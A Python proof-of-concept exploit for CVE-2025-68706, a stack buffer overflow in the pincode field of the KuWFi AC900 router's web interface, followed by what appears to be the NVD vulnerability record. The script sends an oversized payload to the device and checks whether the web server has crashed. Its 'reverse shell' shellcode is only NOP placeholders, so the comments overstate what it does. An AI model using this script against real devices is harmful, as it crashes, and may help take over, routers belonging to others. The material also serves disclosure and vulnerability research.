CVE-2025-68706

import requests # CVE-2025-68706 PoC - Stack-based Buffer Overflow in KuWFi 4G LTE AC900 # Target: /goform/formMultiApnSetting endpoint # Vulnerability: sprintf() without bounds checking on pincode parameter target_ip = "192.168.1.1" # Replace with actual KuWFi device IP target_url = f"http://{target_ip}/goform/formMultiApnSetting" # Generate payload with 132+ bytes to overflow the stack buffer # The buffer size is 132 bytes, we need to overflow it buffer_size = 132 padding = b'A' * buffer_size # Overwrite return address with NOP sled + shellcode address (example) # In real exploitation, need to calculate correct offset return_address = b'\x00\x12\x34\x56' # Example address, needs adjustment nop_sled = b'\x90' * 50 # Simple shellcode for demonstration (reverse shell) shellcode = b'\x90' * 20 # Placeholder shellcode payload = padding + return_address + nop_sled + shellcode # Construct the malicious request data = { 'pincode': payload.decode('latin-1'), # Send overflow payload 'other_param': 'value' # Other required parameters } try: print(f"[*] Sending exploit payload to {target_url}") print(f"[*] Payload size: {len(payload)} bytes") response = requests.post(target_url, data=data, timeout=5) print(f"[*] Response status: {response.status_code}") print(f"[*] Response text: {response.text[:200]}") # Check if server is still responsive check_url = f"http://{target_ip}/" try: check_response = requests.get(check_url, timeout=5) print("[*] Server still responsive - exploitation may have failed") except: print("[!] Server appears to be down - possible successful exploitation") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}")

{"cve": {"id": "CVE-2025-68706", "sourceIdentifier": "[email protected]", "published": "2025-12-29T19:15:57.090", "lastModified": "2026-01-15T02:21:29.610", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stack-based buffer overflow exists in the GoAhead-Webs HTTP daemon on KuWFi 4G LTE AC900 devices with firmware 1.0.13. The /goform/formMultiApnSetting handler uses sprintf() to copy the user-supplied pincode parameter into a fixed 132-byte stack buffer with no bounds checks. This allows an attacker to corrupt adjacent stack memory, crash the web server, and (under certain conditions) may enable arbitrary code execution."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:kuwfi:ac900_firmware:1.0.13:*:*:*:*:*:*:*", "matchCriteriaId": "B897FBEF-F259-4AAA-BC46-820ABD0D9605"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:kuwfi:ac900:-:*:*:*:*:*:*:*", "matchCriteriaId": "2A90E0A0-E2D2-40F5-8219-8FE34A1324D9"}]}]}], "references": [{"url": "https://drive.proton.me/urls/HJCJYAC7JM#XtHcm3P7QaYk", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://github.com/actuator/cve/blob/main/Kuwfi/CVE-2025-68706.txt", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/actuator/cve/tree/main/Kuwfi", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://kuwfi.com/products/kuwfi-gigabit-wireless-router-4g-lte-wifi-router-dual-band-portable-wifi-modem-hotspot-64-user-with-gigabit-wan-lan-rj11-port", "source": "[email protected]", "tags": ["Product"]}]}}